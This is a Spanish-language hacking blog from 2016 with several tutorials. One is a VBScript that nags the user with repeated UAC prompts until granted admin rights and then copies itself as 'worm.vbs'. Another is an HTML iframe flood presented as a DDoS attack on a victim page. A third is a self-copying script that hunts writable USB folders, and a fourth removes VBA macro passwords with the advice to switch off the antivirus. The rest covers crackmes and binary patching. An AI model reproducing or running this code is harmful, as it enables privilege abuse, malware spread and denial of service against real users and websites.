lunes, 23 de mayo de 2016

Conseguir Permisos De Administrador Por El Metodo Persistente

Hola amigos hoy vengo con un script para poder conseguir permisos en el sistema, con un método que a muchos ya seles abra ocurrido, pienso que no nomas ami.

bueno este tema es cortito así que empecemos primeramente abriremos el bloc de notas y copiamos el siguiente código


option explicit
on error resume next
dim objShell,listser,WM,service,file,s

set file=createobject("scripting.filesystemobject")

file.copyfile "c:\windows\system32\wscript.exe","topo.exe"

comprovar

function comprovar
   
   Set WM =GetObject("winmgmts:")
   Set listser= WM.instancesof("win32_process")
   s=0
   For Each service In listser
      if service.name="topo.exe" then
         s=s+1   
      end if
   next

   if s=0 then
      Set objShell = CreateObject("Shell.Application")
      objShell.ShellExecute "topo.exe", Chr(34) & WScript.ScriptFullName & Chr(34) & " RunAsAdministrator", "", "runas", 1
   comprovar
   else   
      file.copyfile wscript.scriptfullname,"c:\worm.vbs"
      msgbox "Virus Copiado Con Exito En El Sistema..."
   end if
end function


y ahora se preguntaran que diablos hace este código pues les explicare de una manera corta



on error resume next
esta instrucción es para que no halla errores y si los hay los suprima y que el programa siga corriendo que no se detenga



dim objShell,listser,WM,service,file,s
aquí declaramos todas la variables que vamos a usar en nuestro programa, creo que no hay lió en eso


set file=createobject("scripting.filesystemobject")
aquí declaramos un objecto filesystemobject que es un objecto en el cual podremos trabajar con carpetas y archivos del sistema


file.copyfile "c:\windows\system32\wscript.exe","topo.exe"

en esta linea creamos una copia del archivo wscript.exe que es del sistema y la copia se llamara topo.exe y se almacenara en la unidad donde se este ejecutando el script


comprovar

aqui llama o manda ejecutar la función comprobar, dentro de esta función se encuentra lo siguiente


Set WM =GetObject("winmgmts:")
aquí crea un objecto winmgmts


Set listser= WM.instancesof("win32_process")
s=0
ahora aquí crea una instancia a los procesos del sistema y en el siguiente for recorre proceso por proceso preguntando si el proceso topo.exe esta ejecutándose y si es así ala variable s se le sumara 1


For Each service In listser
   if service.name="topo.exe" then
      s=s+1   
   end if
next

ahora saliendo del for pregunta si s es igual a cero si es así, crea un objecto shell.application para luego ejecutar el archivo topo.exe pasando le como parámetros el propio script y pidiendo permisos de administrador y como s es igual a cero volver a llamar la función comprobar volviéndose un ciclo hasta que el usuario presione si y conceda permisos de administrador ala aplicación topo.exe

if s=0 then
      Set objShell = CreateObject("Shell.Application")
      objShell.ShellExecute "topo.exe", Chr(34) & WScript.ScriptFullName & Chr(34) & " RunAsAdministrator", "", "runas", 1
   comprovar
   else   
      file.copyfile wscript.scriptfullname,"c:\worm.vbs"
      msgbox "Virus Copiado Con Exito En El Sistema..."
   end if


y por ultimo si el usuario concedió permisos el propio script se copiara a la unidad c:\


bueno saludos flamer y eso es todo

domingo, 22 de mayo de 2016

Un Simple Crackme en VBScript

Hola amigos como estaba aburrido me puse a programar un crackme en visual basic script, el objetivo es crear el keygen ya que este puede ser visualizado fácilmente y no lo quise hacer en un lenguaje compilado ya que muchos no saben usar el ollydbg así que aquí esta:


option explicit
Randomize
dim shell,pin,cn,un,x,z,a,b,c,pass,y,r,contra
 
Set shell=createobject("wscript.shell")
pin = cstr(cint((9999-1000+1)*rnd+1000))
msgbox "Su Numero PIN Es: " & pin,,"PIN"
cn = Shell.ExpandEnvironmentStrings("%ComputerName%")
un = Shell.ExpandEnvironmentStrings("%UserName%")
 
if len(cn)>len(un) then
   z=len(cn)
   for x=z to len(un)
      un=un & chr(x)
   next   
end if
 
if len(cn)<len(un) then
   z=len(un)
   for x=z to len(cn)
      cn=cn & chr(x)
   next   
else
   z=len(un)
end if
 
for x=1 to z
   a = asc(mid(cn,x,1))
   b = asc(mid(un,x,1))
   c = c & "-" & (a xor b)
next
 
contra=inputbox("Ingresa La Contraseña","Password")
y=1
 
pass=split(contra,"-") 

for x=0 to ubound(pass)
   a = pass(x)
   b = asc(mid(pin,y,1))
   if y=len(pin) then
      y=1
   else
      y=y+1   
   end if
   r = r & "-" & (a xor b)
next
 
if r=c then
   msgbox ":::EN HORA BUENA::: Felisidades Contraseña Correcta, Espero Que Te Halla Gustado El Reto...",,"Reto Superado Saludos Flamer"
else
   msgbox "Si no sabes crackear esta porqueria de crackme, no presumas que eres un hacker mas bien eres un lamberucho...esto es para hackers principiantes QUE QUIEREN APRENDER",,"Medas lastima :("     
end if





saludos Flamer y espero les guste

jueves, 19 de mayo de 2016

Quitando La Contraseña De La Macros En Word

Nota: este truco de quitar la contraseña a los archivos macro de word que muestra mi amigo [Thunder]  es similar al truco que yo ya me sabia de quitar la contraseña a los archivos de Excel en las versiones anteriores del office, no se si sirva para las nuevas versiones ya que hace mucho que no lo asía, la confusión esta que yo no sabia que servia para las macros.

aclarado esto vamos a la taque, tomaremos de referencia el virus de macro que analizamos anteriormente estos son los link:

http://elblogdeflamer.blogspot.mx/2016/04/analizando-una-muestra-de-un-virus-de.html

http://elblogdeflamer.blogspot.mx/2016/03/analizando-una-muestra-de-un-virus-de.html

pero tomaremos de referencia la primera parte del análisis ya que tenemos el archivo xml reparado sin errores y la macro nos pide la contraseña como en la imagen siguiente


pasaremos a convertir el archivo xml a otra extencion para eso damos clic en archivo y guardar como y elegimos la opción siguiente



elegimos Documento habilitado con macro de word y le pondremos como nombre virusmacros y damos clic en aguardar y si nos aparece un mensaje damos clic en aceptar, por ultimo nos quedara un archivo similar a un archivo comprimido así



así que lo abriremos y extraemos el archivo vbaProject.bin, este se encuentra en la carpeta word



para extraerlo daremos clic derecho y Extraer sin pedir confirmación

Nota: si salta el antivirus es mejor que lo apaguen ya que no podrán seguir

ahora ya que lo tenemos el archivo vbaProject.bin en el escritorio pasaremos a abrirlo con un editor hexadecimal yo usare este: http://mh-nexus.de/en/hxd/

elegimos el archivo a abrir así



ya que lo tenemos abierto daremos clic en buscar así



y buscaremos la cadena DPB asi


luego daremos clic en aceptar y después que la hallamos encontrado remplazaremos la cadena DPB por otra, yo le pondré DPP así



por ultimo daremos clic en aguardar cambios como se muestra a continuación


ya que hallamos aguardado los cambios cerramos el editor y de nuevo abrimos el archivo virusmacros con el winrar y borramos el archivo vbaProject.bin que contiene adentro así



nos aparecerá un mensaje y damos clic en si.

después de esto añadimos el nuevo archivo vbsProject.bin que modificamos anteriormente con el editor hexadecimal dando clic derecho y clic en añadir ficheros al archivo




y elegimos el archivo mencionado



por ultimo damos clic en aceptar y en esta siguiente ventana también en aceptar



después de esto abriremos el archivo virusmacros así




ahora damos clic en la ficha de programador y luego en visual basic




y como ven al dar clic en visual basic no marcara el siguiente error


y daremos clic en si y en aceptar en el siguiente cuadro y si vuelve a a parecer damos clic en aceptar de nuevo


y guala el proyecto esta desbloqueado y ahora podemos ver los módulos que contienen y parte de su código



ahora si no quieren que les muestre error cada ves que cargan el proyecto de visual basic solo modifican las propiedades del proyecto así





y luego en la siguiente ventana dan clic en protección y desmarcan la opción bloquear proyecto para visializacion  


por ultimo dan clic en aceptar y aguardan los cambios y como verán al abrir el proyecto de la macros de nuevo ya no les marcara error

bueno amigos creo que eso es todo, pensaba poner como titulo la tercera parte del análisis del virus de macros pero al ver el poco código que me encontré no me dio mucho interés así que mejor le cambie de tema.

si quieren ver el tutorial de mi amigo [Thunder]  lo pueden encontrar aquí:  https://reversec0de.wordpress.com/2016/04/13/accediendo-a-codigo-vba-protegido/

bueno amigos saludos Flamer


martes, 17 de mayo de 2016

Creacion y Funcionamiento de un ataque ddos desde el navegador

hola amigos en este tutorial mostrare como es que algunos crean y hacen sus ataques ddos, primeramente que definamos que es un ataque ddos.

ddos: distributed denial of service que significa en español denegación de servicio distribuida.

y que es eso pues bueno en pocas palabras es cuando varios usuarios están asiendo peticiones al servidor web de x pagina y pues de tantas peticiones este llega a colapsar por que no tiene la capacidad suficientes para atender a tatas personas, hasta que llega el momento de quedar sin servicio o mejor dicho se cae.

y se preguntaran que es una petición, una petición vendría siendo como cuando le enviamos algo al servidor,descargamos algo de el o la mas simple de todas las peticiones visitar la pagina esta ultima es una de la mas explotadas para un ataque ddos ya que le estaremos asiendo una petición al puerto 80 del servidor para que nos muestre dicha pagina.

ya que menciono el puerto 80 no es el único puerto al que se le pueden hacer peticiones hay muchos puertos en un servidor web y dependiendo el funcionamiento de estos también seles podría hacer peticiones.

pero en este tema solo veremos el puerto 80, yo cree este tutorial para que entiendan el funcionamiento de un ataque ddos y no se trate como un tabu, mi intención no es dañar a nadie ya que el conocimiento es de todos no de unos pocos.

bueno empecemos para este tutorial solo aremos peticiones al puerto 80 y se preguntaran como lo vamos hacer abriremos muchas pestañas senos trabaría la maquina.

pues algo por el estilo, en ves de usar pestañas usaremos los iframes y para que no nos consuma mucha memoria en nuestra pc los haremos lo mas diminutos posibles.

para eso crearemos el siguiente código en html

<HTML>
<HEAD>
<TITLE>ATAQUE DDOS POR FLAMER</TITLE>
</HEAD>
<BODY>
<input type="button" value="Iniciar Atake DDOS" onclick="inicia()">
<script language="javascript">
function inicia()
{
   var x;
   for(x=0;x<10000;x++)
   {
    document.write("<iframe src='url' width='1' height='1'></iframe>")
   }    
}
</script>
</BODY>
</HTML>


donde dice url es donde ira la pagina de la victima y al ejecutarla a parecerá lo siguiente


bueno al presionar el boton nos mostrara el siguiente resultado


con esto estaremos haciendo 10000 peticiones a la pagina, y dirán esto es de lamber no creo que tumbes una pagina web con iframes, pues bueno tal ves no o tal ves si y mejor me reservo mis ideas.


hay muchas formas de hacer ddos a una pagina yo solo mostré una ya que este tema se considera delicado

Saludos Flamer y no es algo tan avanzado pero es para que seden una idea de como se hace, y por otro lado también mis conocimientos son de un novato, no soy un experto como otros piensan


martes, 10 de mayo de 2016

Crear Ejecutable en Visual Basic 6 Con Permisos De Administrador

Anteriormente lo aviamos hecho en vb.net pues ahora lo aremos en visual basic 6, primeramente aclaro hay dos formas de hacerlo yo enseñare una de ellas nada mas por que no tengo el visual basic 6 instalado en estos momentos y lo haré con una aplicación ya compilada.

bueno primeramente la aplicación que escogeré sera esta:

http://www.mediafire.com/download/6rkpbah2kikv33l/Crackme+Ooops.rar

es el crackme que resolvimos en un tutorial anteriormente Aqui la entrada, ahora descargaremos el Resource Hacker desde Aqui


Primeramente crearemos un archivo en el bloc de notas con el siguiente contenido


<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> 
  <assemblyIdentity version="1.0.0.0"
     processorArchitecture="X86"
     name="IsUserAdmin"
     type="win32"/> 
  <description>Description of your application</description> 
  <!-- Identify the application security requirements. -->
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel
          level="requireAdministrator"
          uiAccess="false"/>
        </requestedPrivileges>
       </security>
  </trustInfo>
</assembly>



después de esto lo aguardamos con el nombre datos  pueden poner el nombre que ustedes quieran y con la extensión ".manifest"  asi


NOTA:la extensión .manifest que no seles olvide

por ultimo damos clic en guardar

ya que tenemos todo, abriremos el crackme con el resource hacker y nos muestra esto



ahora daremos clic en Action y Add Single Binary or Image Resource  como se muestra en la imagen siguiente



después en la siguiente ventana damos clic en el boton Select File


y buscamos el archivo que creamos anteriormente


damos clic en abrir y por ultimo damos clic en Add Resource



después de esto solo aguardamos los cambios dando clic en save






y se nos creara una copia de la aplicación que dirá original y la modificada así



y como ven el icono tiene un escudito, y si damos clic no pedirá permiso de administrador

la otra forma de hacerlo era agregar  el archivo datos.manifest como recurso al proyecto en visual basic antes de compilarlo

bueno eso es todo saludos Flamer


sábado, 7 de mayo de 2016

Proteger Mi USB Contra Escritura No Es Seguro

En varios sitios de Internet y vídeos e visto como proteger nuestra USB contra escritura, con un método muy simple y fácil de burlar por un malware.

ese método solo serviría para un virus que solo intente copiarse a la raíz de la USB, pero si los creadores de estos modifican un poco el código y buscan la carpeta de la USB que tiene la opción de escritura pues este se copiaría en esa carpeta.

bueno les explico el método que usan, primera mente formateamos nuestra USB en modo NTFS


y despues de esto damos clic en iniciar, nos mostrara el siguiente mensaje y daremos aceptar


acto seguido nos mandara el mensaje de formato completo, después de esto crearemos una carpeta dentro de nuestra USB llamada "Documentos"


bueno pero yo en este tutorial creare varias carpetas y nos quedara así



perdonen los nombres pero no sabia que poner jajajaj

y se preguntaran por que tantas carpetas si en los tutoriales de Internet no dice eso, pues no se desesperen mas adelante entenderán el por que.

ahora protegeremos nuestra USB contra escritura, dando clic derecho en ella y elegimos la ultima opción que es la de propiedades


después nos parecerá la siguiente ventana y daremos clic en seguridad


ahora daremos clic en editar y destildamos todas las opciones menos la de lectura y tildamos la opción de denegar escritura, así como se muestra en la imagen siguiente


después de esto daremos clic en aplicar y después aceptar  y como verán si intentan crear un archivo dentro de ella  esta no los dejara,


ahora estos tutoriales dicen que tenemos que elegir la carpeta documentos darle clic derecho y después en propiedades así


en la siguiente ventana elegiremos la ficha seguridad


después de esto en editar y le otorgaremos todos los permisos así


después damos clic en aplicar y luego en aceptar, bueno en estos tutoriales dice que aguardemos todo en esta carpeta y que la USB según que daría segura a salvo de los virus.

ahora si los creadores de virus implementan un sencillo código que buscara la carpeta vulnerable de nuestra USB y acto seguido copiarse en ella, así como lo muestra este sencillo código en VBScript


Set objfso = createobject("scripting.filesystemobject")
Set Dir = objfso.getfolder("f:\") '"
Carpetas(Dir)
 
Function Carpetas(Folder)
On error resume next
err.clear
objfso.copyfile wscript.scriptfullname,Folder & "\el virus.vbs"
if err.number=0 then
   msgbox "Carpeta Vulnerable Encontrada Ubicacion: " & Folder
   msgbox "Virus Copiado Con Exito"
end if
Set SubsIFol = Folder.subfolders
For each SF in SubsIFol
   Carpetas(SF)
Next
End Function



ahora si ejecutan este sencillo script verán que se auto copea a dicha carpeta

bueno amigos eso es todo y ese método que anda en Internet de dejar una sola carpeta con todos los privilegios en nuestra USB no es seguro

saludos flamer y espero le halla gustado

jueves, 5 de mayo de 2016

Crear Ejecutable En VB.Net Que Pida Permisos De Administrador

En este nuevo tema les enseñare como crear un ejecutable que pida permisos de administrador, esto lo haremos en vb.net 2010.

bueno primeramente abriremos el vb.net y elegimos la opción de crear un nuevo proyecto y elegimos una aplicación de windows así


damos clic en aceptar, después de esto crearemos un formulario así como en la siguiente imagen



sin cambiarle de nombre a los elementos del formulario, el botón se llamara "Button1" y el cuadro de texto "TextBox1".

y como código pondremos esto


Public Class Form1
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        FileCopy(Application.ExecutablePath, "C:\" & TextBox1.Text & ".exe")
        MsgBox("Copiado Exitoso...", vbExclamation, "Finalizado")
    End Sub
End Class


ahora lo ejecutamos y pondremos en el cuadro de texto "El Clon" y daremos clic en el botón copiar


y como ven nos manda un error que dice "Acceso Denegado" o sea que no tenemos permiso

así que para eso haremos lo siguiente, daremos clic en proyecto y después en propiedades



ahora daremos clic en aplicación y luego en ver configuración de windows



y nos aparecerá una ventana llamada app.manifest, donde modificaremos la linea:

<requestedExecutionLevel level="asInvoker" uiAccess="false" />

donde solo cambiaremos la palabra "asInvoker" por esta otra  "requireAdministrator"  y nos quedara así:

<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />

después de esto aguardamos los cambios y ejecutamos el programa, donde nos aparecerá la siguiente ventana



y le daremos clic en reiniciar con otras credenciales, acto seguido se reiniciara el vb.net y nos pedirá permiso de administrador.

ya que se reinicio ejecutamos nuestro programa y en el cuadro de texto pondremos como nombre
"El Clon" y daremos clic en el botón copiar



como ven nos manda el cartelito de copiado con éxito, así que visitaremos la unidad C:\ para ver si se creo la copia llamada "El Clon"



como ven si se creo la copia llamada "El clon" y si observan el icono del programa tiene un escudo, el cual quiere decir que cada vez que se ejecute pedirá permiso de administrador


bueno amigos creo que eso es todo y espero les halla gustado

saludos Flamer  










Solucion al Crackme De Sadfud De Indetectables.Net Con Ollyscript 2.0.1

Hola amigos aquí de nuevo con otro tutorial donde resolveremos un crackme sencillo de nuestro amigo sadfud de el foro de indetectables.net aquí la url de su publicación:

http://www.indetectables.net/viewtopic.php?f=80&t=53966

bueno para descargarlo tendrán que estar registrados, pero sino se quieren registrar lo pueden descargar desde Aqui

ya que tenemos el crackme descargado lo abriremos con el ollydbg dando clic en el icono de la carpetita y luego elegimos el crackme así


ahora buscaremos las string dando clic derecho y seleccionamos lo siguiente


y nos muestra lo siguiente



y como ven hay dos string que disen "Muy bien" y una llamada a la api vbaStrCmp que es una api de visual basic que se encarga de comparar 2 string y creo que es la que comparara la clave que ingresemos con la clave correcta, así que daremos doble clic al string "Muy bien" que se encuentra por debajo de dicha api y nos lleva hasta aquí


como ven la api esta en la linea 00401E23 y mas abajo esta un salto JE y unas lineas mas abajo el mensaje "Muy bien" asi que si las string o sea las claves son iguales no salta y si son diferentes nos manda al cartelito incorrecto.

bueno asi que pondremos un breakpoint con F2 en la linea 00401E23 y damos F9, para luego ingresar como serial "123456" y presionamos el boton "ya lo tengo" para luego detenernos en la linea donde pusimos el breakpoint



como ven en el stack se alcanza a ver nuestro serial "123456" que es el argumento 2 y creo que por lógica el argumento 1 es el serial correcto y para visualizar la clave solo daremos clic derecho y después en FOLLOW IN DUMP así como en la imagen



luego después de esto la clave se mostrara en la parte del DUMP del ollydbg aqui




bueno ya sabemos que la clave es "]õõ[.-2*[ó´?"

ahora si queremos usar  ollyscript para extraer dicha clave, primeramente tendremos que tener el plugin del ollyscript, lo pueden descargar Aqui Versión 2.0.1

ya que lo tengan descargado el archivo DLL lo ponen en su carpeta de plugins y reinician el ollydbg y tendra que apareserles asi en el ollydbg



NOTA: Estoy usando OllyDbg 2.01 y Windows 8.1

bueno ahora si queremos extraer el contenido de la dirección 00401B60 que es donde se encuentra la clave usaremos el comando DM asi

DM dirección , tamaño, archivo

y nos quedaria asi:


DM 00401B60,18,"C:\Users\Flamer\Desktop\dump.txt"    // NOTA: cambian Flamer por su nombre


esto lo escribiremos en el bloc de notas y lo aguardaremos con la extencion .osc  yo lo llamare Script.osc y lo almacenare en el escritorio

y para ejecutarlo lo aremos así




y buscamos nuestro script en el lugar donde lo aguardamos





y al seleccionarlo automáticamente nos creara el archivo dump.txt en el escritorio con la contraseña


ahora si no queremos extraer la contraseña solo lo queremos crackear el salto, usaremos el comando

REPL dirección, búsqueda, reemplazo, longitud

el cual remplazara el salto JE por un JNZ y para ejecutarlo usaremos el comando  RUN  y quedaria así

REPL 00401E63, #74#, #75#, 1
RUN

aguardamos los cambios y lo ejecutamos igual




al presionar el botón "Ya lo tengo" nos muestra el cartelito correcto

bueno aquí tienen un script un poco mas amplio


MSGYN "Desea Dumpear La Contraseña"  //pregunta si desea dumpear
CMP $RESULT, 0  // comprueba si es 0 
JE brincar           // si es 0 salta al evento brincar
DM 00401B60,18,"C:\Users\Flamer\Desktop\dump.txt"   //dumpea la direccion 00401B60 y crea el archivo dump.txt en el escritorio
RET   // finaliza el script

brincar:
MSGYN "2-Desea Solo Crackear El Salto"  //pregunta si quiere crackear el salto
CMP $RESULT, 0  // comprueba si es 0 
JE sigue    // si es 0 salta al evento sigue
REPL 00401E63, #74#, #75#, 1   // remplaza 74 que es el JE  por 75 que es JNZ
RUN  // ejecuta el programa

sigue:
RUN    // ejecuta el programa


Bueno amigos eso es todo y espero le halla gustado

Saludos Flamer